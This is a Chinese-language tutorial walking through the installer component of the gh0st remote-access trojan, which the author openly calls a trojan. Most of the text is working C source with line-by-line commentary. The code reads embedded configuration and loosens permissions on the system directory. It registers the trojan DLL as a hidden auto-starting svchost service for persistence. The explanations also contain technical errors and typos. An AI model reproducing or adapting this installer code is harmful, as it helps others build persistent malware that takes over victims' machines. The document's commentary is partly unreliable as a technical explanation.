聲明:
首先聲明,這篇文章完全是根據自己對gh0st源代碼的了解寫出來的,如果有了解上的偏差或者表述上的錯誤本人不負責,僅供參考!
前言:
在我剛學習gh0st源代碼的時候,覺得這東西好難,三個工程放在一起不說,還有那麼多檔案,當時就懵了。這怎麼看呢?從何下手呢?我想大部分剛學習gh0st源代碼的同胞們都有和我一樣的想法,我廢話不多說了,下面就為大家詳細講解gh0st源代碼。
思路:
首先我會講解gh0st的整體架構,包括三個工程之間的關系和每個工程的作用;然後再根據程式的執行順序,從入口函數WinMain開始逐漸向下講解。
架構:
gh0st有三個工程,分别是gh0st、install和svchost。那麼這三個工程有什麼作用呢?首先gh0st這個工程,是生成控制端的一個工程,換句話說就是用MFC寫的界面。但是你千萬不要小看它。因為它絕不僅僅是一個界面那麼簡單,在這個控制端裡面還包括IOCP完成端口、網絡socket和控制端與服務端之間的資料傳輸;install這個工程較其他兩個工程就簡單多了,因為它隻有一個.h檔案和一個.cpp檔案。這個工程是整個程式的入口,因為WinMain函數就在這裡,它的主要功能就是生成一個exe檔案,而這個exe檔案的工程就是安裝和啟動dll裡面的服務的;接下來就是第三個工程了,前面所說的dll就是這個工程。它的主要功能就是執行服務函數,并完成與控制端的通信。
是以用一句話來概括gh0st的功能就是:exe安裝并啟動dll裡面的服務,dll執行服務并與控制端進行通信,進而實作各項遠端功能。
代碼解讀:
首先看install這個工程:(紅色部分為源代碼)
int APIENTRY WinMain(HINSTANCE hInstance,
HINSTANCE hPrevInstance,
LPSTR lpCmdLine,
int nCmdShow)
{
// 讓啟動程式時的小漏鬥馬上消失
GetInputState();
PostThreadMessage(GetCurrentThreadId(),NULL,0,0);
MSG msg;
GetMessage(&msg, NULL, NULL, NULL);
char *lpEncodeString = NULL;
char *lpServiceConfig = NULL;
char *lpServiceDisplayName = NULL;
char *lpServiceDescription = NULL;
這個WinMain函數就是程式的入口,四個參數分别是hInstance應用程式目前的執行個體句柄、hPrevInstance應用程式先前的執行個體句柄、lpCmdLine指定傳給應用程式的指令行參數、nCmdShow指定視窗如何顯示;首先是GetInputState()這個API函數,它的功能是要讓小漏鬥馬上消失,這是因為以前的cpu運作速度很慢,是以當你打開一個程式的時候會有一個小漏鬥在螢幕上顯示,直到程式打開漏鬥才消失;然後是PostThreadMessage(GetCurrentThreadId(),NULL,0,0)這個函數,大家首來先看GetCurrentThreadId這個函數,這個函數的功能是獲得目前線程的PID,也就是獲得目前正在運作線程的唯一标示符;而PostThreadMessage這個函數呢就是把目前線程的唯一标示符送入系統的消息隊列中。說了半天的目前線程,那麼線程究竟是什麼呢?所謂線程,說白了就是計算機中正在運作的程式,那麼在gh0st裡面這個正在運作的程式是什麼呢?其實這個正在運作的程式就是在控制端生成的服務端,也就是人們所說的木馬。但是它一定是加上上線字串的,否則它是不會運作的,這個我們後面會講到。接下來定義了幾個指針變量,并指派為NULL,下面我們會依次講解。
lpEncodeString = (char *)FindConfigString(hInstance, "AAAAAA");
if (lpEncodeString == NULL)
{
return -1;
}
下面就讓我們來看一下lpEncodeString這個變量是什麼意思,在看它之前呢要先看一下FindConfigString這個函數的作用。
LPCTSTR FindConfigString(HMODULE hModule, LPCTSTR lpString)
{
char strFileName[MAX_PATH];
char *lpConfigString = NULL;
DWORD dwBytesRead = 0;
GetModuleFileName(hModule, strFileName, sizeof(strFileName));
HANDLE hFile = CreateFile(strFileName, GENERIC_READ, FILE_SHARE_READ, NULL, OPEN_EXISTING, 0, NULL);
if (hFile == INVALID_HANDLE_VALUE)
{
return NULL;
}
首先看這個函數的兩個參數,hModule目前程式的執行個體句柄,lpString就是"AAAAAA"這個字元串。後面定義了一個大小為260的字元數組和一個為空的字元串指針還有一個雙字型的變量;然後調用了GetModuleFileName這個函數,這個函數就是擷取一個已裝載模闆的完整路徑名稱并複制到它的第二個參數裡面,也就是把服務端的完整路徑儲存在數組變量strFileName裡面;然後調用了CreateFile這個API函數用來打開剛剛儲存路徑的檔案,傳回檔案句柄。後面進行一個判斷,如果檔案不存在,那麼傳回空并跳出。
SetFilePointer(hFile, -MAX_CONFIG_LEN, NULL, FILE_END);
lpConfigString = new char[MAX_CONFIG_LEN];
ReadFile(hFile, lpConfigString, MAX_CONFIG_LEN, &dwBytesRead, NULL);
CloseHandle(hFile);
接下來調用了SetFilePointer這個函數,這個函數的功能就是設定一個檔案中目前的讀寫位置。四個參數分别是hFile系統檔案句柄、-MAX_CONFIG_LEN檔案偏移量、NULL通常為空、FILE_END檔案結束位置。那麼這個函數的意思就是将讀取檔案的指針設定到距離檔案結束位置MAX_CONFIG_LEN=1024個字元的位置上;接下來為lpConfigString這個變量申請一個大小為MAX_CONFIG_LEN=1024的棧空間。後面調用了ReadFile這個函數,将原來打開的檔案末尾的1024個字元複制到剛剛申請的棧中;關閉原來打開的檔案。
int offset = memfind(lpConfigString, lpString, MAX_CONFIG_LEN, 0);
接下來來看memfind這個函數,先看它的四個參數:lpConfigString剛剛申請的棧,裡面放有檔案末尾的10234個字元資訊、lpString六個A的字元串、MAX_CONFIG_LEN1024、0。
int memfind(const char *mem, const char *str, int sizem, int sizes)
{
int da,i,j;
if (sizes == 0)
da = strlen(str);
else
da = sizes;
for (i = 0; i < sizem; i++)
{
for (j = 0; j < da; j ++)
if (mem[i+j] != str[j]) break;
if (j == da) return i;
}
return -1;
}
首先定義了三個整形變量;進行了一個判斷,sizes為零那麼da=6。之後是一個for循環的嵌套,外面的for循環次數為1024次,也就是那個棧中所有字元周遊一遍。裡面的for循環次數為6次,接下來進行一個判斷,如果棧裡面的字元沒有連續六個A出現,那麼就跳出内部循環i++,直到找到六個A為止,傳回找到六個A的為止。如果最後沒有找到那麼就傳回-1
if (offset == -1)
{
delete lpConfigString;
return NULL;
}
裡接下來進行了一次判斷,如果剛剛的memfind函數傳回的是-1,那麼删除棧空間,然後傳回空。
else
{
return lpConfigString + offset;
}
}
如果傳回值不是空,那麼傳回找到六個A的為止。結束FindConfigString函數。相信現在你一定知道lpEncodeString這個變量是什麼意思了,沒錯!它就是在原始檔案中六個A的出現位置。
接下來回到WinMain函數
lpServiceConfig = (char *)FindConfigString(hInstance, "CCCCCC");
if (lpServiceConfig == NULL)
{
return -1;
}
我想這段代碼應該不用解釋了吧,和上面的原理完全相同!要是連這段代碼都看不懂,那我隻能說:親,别往下看了,回去學C語言吧!
char *pos = strchr(lpServiceConfig, '|');
if (pos == NULL)
{
return -1;
}
*pos = '\0';
接下來看一下這個函數strchr,它的功能是在檔案中找到第一次出現'|'的為止,并将這個位置指派給新定義的字元指針*pos,接下來進行一個判斷,如果不存在這樣的位置,那麼傳回-1,若存在,則在'|'後面加上'\0'進行字元串截斷。
lpServiceDisplayName = MyDecode(lpServiceConfig + 6);
lpServiceDescription = MyDecode(pos + 1);
if (lpServiceDisplayName == NULL || lpServiceDescription == NULL)
{
return -1;
}
接下來調用了兩次MyDecode函數,這是作者自寫的一個加密函數,加密算法可以查到,這個加密函數我就不講了,總之這個函數的目的就是将這兩個字元串加密。其實作在你應該能看出來:'CCCCCC'後面的字元串就是服務名稱,而'AAAAAA'後面的字元串就是服務描述。接下來進行了一次判斷,如果服務名稱或者服務描述任何一個為空,程式都不會再繼續執行,這就是我之前說的那個服務端一定要加上上線字串的,否則它是不會運作的!
char *lpServiceName = NULL;
char *lpUpdateArgs = "MyCmd Update";
// 如果不是更新服務端
if (strstr(GetCommandLine(), lpUpdateArgs) == NULL)
{
HANDLE hMutex = CreateMutex(NULL, true, lpEncodeString);
DWORD dwLastError = GetLastError();
// 普通權限通路系統權限建立的Mutex,如果存在,如果存在就傳回拒絕通路的錯誤
// 已經安裝過一個一模一樣配置的,就不安裝了
if (dwLastError == ERROR_ALREADY_EXISTS || dwLastError == ERROR_ACCESS_DENIED)
{
return -1;
}
ReleaseMutex(hMutex);
CloseHandle(hMutex);
}
接下來定義了兩個字元型指針變量,第一個是服務名稱,下面會用到;第二個是更新服務端的一個标志字元串。接下來進行一個判斷,首先看一下GetCommandLine這個API函數,它的功能是擷取目前線程的指令行參數,那麼if (strstr(GetCommandLine(), lpUpdateArgs) == NULL)這句代碼的意思就很明顯了,就是判斷在當先線程的指令行中"MyCmd Update"這個字元串的出現位置,如果沒有這個字元串,那麼就要建立一個指向lpEncodeString的互斥體,建立它的作用就是防止程式運作兩次或者兩次以上;接下來如果建立失敗的話就傳回失敗原因,後面進行一個判斷,如果互斥體已經存在或者拒絕通路則傳回-1并跳出。接下來釋放互斥體,關閉互斥體。
else
{
// 等待服務端自删除
Sleep(5000);
}
如果是更新服務端,則等待服務端自删除。
SetUnhandledExceptionFilter(bad_exception);
這是一個設定異常捕獲函數。當異常沒有處理的時候,系統就會調用SetUnhandledExceptionFilter所設定異常處理函數。
SetAccessRights();
這是一個設定擷取系統權限的函數,接下來進入到這個函數内部看看。
void SetAccessRights()
{
char lpUserName[50], lpGroupName[100], lpDriverDirectory[MAX_PATH],
lpSysDirectory[MAX_PATH];
DWORD nSize = sizeof(lpUserName);
LPLOCALGROUP_USERS_INFO_0 pBuf = NULL;
DWORD dwEntriesRead = 0;
DWORD dwTotalEntries = 0;
NET_API_STATUS nStatus;
WCHAR wUserName[100];
上面都是變量的定義,後面用到的時候再說。
ZeroMemory(lpUserName, sizeof(lpUserName));
ZeroMemory(lpDriverDirectory, sizeof(lpDriverDirectory));
ZeroMemory(lpSysDirectory, sizeof(lpSysDirectory));
GetSystemDirectory(lpSysDirectory, sizeof(lpSysDirectory));
GetUserName(lpUserName, &nSize);
接下來調用了幾個ZeroMemory函數,作用是将那三個記憶體塊清零。然後調用了GetSystemDirectory擷取系統目錄的完整路徑并儲存到lpSysDirectory這個數組中。後面調用了GetUserName函數擷取目前使用者名,并儲存在lpUserName這個變量中。
// 設定成員權限
AddAccessRights(lpSysDirectory, lpUserName, GENERIC_ALL);
MultiByteToWideChar( CP_ACP, 0, lpUserName, -1, wUserName, sizeof(wUserName) / sizeof(wUserName[0]));
提升使用者權限;将使用者名轉換為寬字元并儲存在wUserName變量中。
nStatus = NetUserGetLocalGroups(NULL,
(LPCWSTR)wUserName,
0,
LG_INCLUDE_INDIRECT,
(LPBYTE *) &pBuf,
MAX_PREFERRED_LENGTH,
&dwEntriesRead,
&dwTotalEntries);
接下來這個函數是檢索指定的使用者wUserName屬于哪一個組,并将得到的組名儲存到結構指針變量pBuf中。
if (nStatus == NERR_Success)
{
LPLOCALGROUP_USERS_INFO_0 pTmpBuf;
DWORD i;
if ((pTmpBuf = pBuf) != NULL)
{
for (i = 0; i < dwEntriesRead; i++)
{
if (pTmpBuf == NULL)
break;
WideCharToMultiByte(CP_OEMCP, 0, (LPCWSTR)pTmpBuf->lgrui0_name, -1, (LPSTR)lpGroupName, sizeof(lpGroupName), NULL, FALSE);
// 設定組的權限
AddAccessRights(lpSysDirectory, lpGroupName, GENERIC_ALL);
pTmpBuf++;
}
}
}
接下來是一個判斷,如果上面的檢索組操作成功,那麼定義一個LPLOCALGROUP_USERS_INFO_0結構類型的指針變量pTmpBuf和雙字型的變量i;接下來又是一個判斷,先将使用者所在的組名指派給pTmpBuf并判斷是否為空,若不為空則進入到下面的for循環。
如果pTmpBuf指向的字元為空則跳出,接下來調用WideCharToMultiByte函數将寬字元的組名轉換為多字元集。最後調用AddAccessRights設定改組的權限為最高
if (pBuf != NULL)
{
NetApiBufferFree(pBuf);
}
}
最後,釋放緩沖區pBuf。
接下來請看下面的代碼,個人認為這是最為關鍵的地方之一。
lpServiceName = InstallService(lpServiceDisplayName, lpServiceDescription, lpEncodeString);
。這句代碼的功能就是安裝服務,它的三個參數分别為加密過的服務名稱、加密過的服務描述和未加密的六個A所在的位置。
下面看這個函數是如何實作的:
char *InstallService(LPCTSTR lpServiceDisplayName, LPCTSTR lpServiceDescription, LPCTSTR lpConfigString)
{
OutputDebugString("EXE install.cpp *InstallService in");
// Open a handle to the SC Manager database.
char *lpServiceName = NULL;
int rc = 0;
HKEY hkRoot = HKEY_LOCAL_MACHINE, hkParam = 0;
SC_HANDLE hscm = NULL, schService = NULL;
char strModulePath[MAX_PATH];
char strSysDir[MAX_PATH];
DWORD dwStartType = 0;
上面的都是定義的變量,用到的時候再說。
try
{
char strSubKey[1024] = { 0 };
char *pSvchost = "SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Svchost";
rc = RegOpenKeyEx(hkRoot, pSvchost, 0, KEY_QUERY_VALUE, &hkRoot);
if(ERROR_SUCCESS != rc)
{
throw "";
}
接下來定義了兩個變量,其中第二個變量指派為系統資料庫中Svchost的目錄;接下來調用了RegOpenKeyEx函數來打開系統資料庫目錄HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Svchost。後面進行一個判斷,如果打開失敗則跳出。
DWORD type, size = sizeof strSubKey;
rc = RegQueryValueEx(hkRoot, "netsvcs", 0, &type, (unsigned char*)strSubKey, &size);
RegCloseKey(hkRoot);
SetLastError(rc);
if(ERROR_SUCCESS != rc)
{
throw "RegQueryValueEx(Svchost\\netsvcs)";
}
接下來又定義了兩個變量,調用了RegQueryValueEx函數來擷取hkRoot路徑下的netsvcs服務組的設定值,并将它儲存到緩沖區strSubKey中。接下來關閉剛剛打開的系統資料庫路徑,設定錯誤傳回值rc并判斷,如果沒有取得netsvcs的設定值,那麼跳出。
hscm = OpenSCManager(NULL, NULL, SC_MANAGER_ALL_ACCESS);
if (hscm == NULL)
{
throw "OpenSCManager()";
}
接下來調用了OpenSCManager函數來打開服務控制管理器并将句柄指派給hscm ,判斷,如果沒有打開則跳出。
GetSystemDirectory(strSysDir, sizeof(strSysDir));
char *bin = "%SystemRoot%\\System32\\svchost.exe -k netsvcs";
char strRegKey[1024] = { 0 };
接下來調用GetSystemDirectory函數擷取windows系統目錄的完整路徑名,并将其儲存在緩沖區strSysDir中。後面是兩個變量的定義,要說一下bin這個變量的值是服務的可執行檔案的路徑名,後面的netsvcs就是該服務所在的服務組。
char strRegKey[1024];
for(ptr = strSubKey; *ptr; ptr = strchr(ptr, 0)+1)
{
//
char temp[500];
wsprintf(temp, "SYSTEM\\CurrentControlSet\\Services\\%s", ptr);
rc = RegOpenKeyEx(HKEY_LOCAL_MACHINE, temp, 0, KEY_QUERY_VALUE, &hkRoot);
if (rc == ERROR_SUCCESS)
{
RegCloseKey(hkRoot);
continue;
}
memset(strModulePath, 0, sizeof(strModulePath));
wsprintf(strModulePath, "%s\\%sex.dll", strSysDir, ptr);
// 删除試試
DeleteFile(strModulePath);
// 以前的服務檔案沒有删除之前,服務的DLL還在svchost中,是以不用這個服務
if (GetFileAttributes(strModulePath) != INVALID_FILE_ATTRIBUTES)
continue;
wsprintf(strRegKey, "MACHINE\\SYSTEM\\CurrentControlSet\\Services\\%s", ptr);
schService = CreateService(
hscm, // SCManager database
ptr, // name of service
lpServiceDisplayName, // service name to display
SERVICE_ALL_ACCESS, // desired access
SERVICE_WIN32_SHARE_PROCESS,
SERVICE_AUTO_START, // start type
SERVICE_ERROR_NORMAL, // error control type
bin, // service's binary
NULL, // no load ordering group
NULL, // no tag identifier
NULL, // no dependencies
NULL, // LocalSystem account
NULL); // no password
if (schService != NULL)
break;
}
if (schService == NULL)
{
lpServiceName = AddsvchostService();
memset(strModulePath, 0, sizeof(strModulePath));
wsprintf(strModulePath, "%s\\%sex.dll", strSysDir, lpServiceName);
wsprintf(strRegKey, "MACHINE\\SYSTEM\\CurrentControlSet\\Services\\%s", lpServiceName);
schService = CreateService(
hscm, // SCManager database
lpServiceName, // name of service
lpServiceDisplayName, // service name to display
SERVICE_ALL_ACCESS, // desired access
SERVICE_WIN32_OWN_PROCESS,
SERVICE_AUTO_START, // start type
SERVICE_ERROR_NORMAL, // error control type
bin, // service's binary
NULL, // no load ordering group
NULL, // no tag identifier
NULL, // no dependencies
NULL, // LocalSystem account
NULL); // no password
dwStartType = SERVICE_WIN32_OWN_PROCESS;
}
else
{
dwStartType = SERVICE_WIN32_SHARE_PROCESS;
lpServiceName = new char[lstrlen(ptr) + 1];
lstrcpy(lpServiceName, ptr);
}
if (schService == NULL)
throw "CreateService(Parameters)";
CloseServiceHandle(schService);
CloseServiceHandle(hscm);
//config service
hkRoot = HKEY_LOCAL_MACHINE;
wsprintf(strSubKey, "SYSTEM\\CurrentControlSet\\Services\\%s", lpServiceName);
if (dwStartType == SERVICE_WIN32_SHARE_PROCESS)
{
DWORD dwServiceType = 0x120;
WriteRegEx(HKEY_LOCAL_MACHINE, strSubKey, "Type", REG_DWORD, (char *)&dwServiceType, sizeof(DWORD), 0);
}
WriteRegEx(HKEY_LOCAL_MACHINE, strSubKey, "Description", REG_SZ, (char *)lpServiceDescription, lstrlen(lpServiceDescription), 0);
lstrcat(strSubKey, "\\Parameters");
WriteRegEx(HKEY_LOCAL_MACHINE, strSubKey, "ServiceDll", REG_EXPAND_SZ, (char *)strModulePath, lstrlen(strModulePath), 0);
}catch(char *str)
{
if(str && str[0])
{
rc = GetLastError();
}
}
RegCloseKey(hkRoot);
RegCloseKey(hkParam);
CloseServiceHandle(schService);
CloseServiceHandle(hscm);
if (lpServiceName != NULL)
{
ReleaseResource(NULL, IDR_DLL, "BIN", strModulePath, lpConfigString);
}
return lpServiceName;
}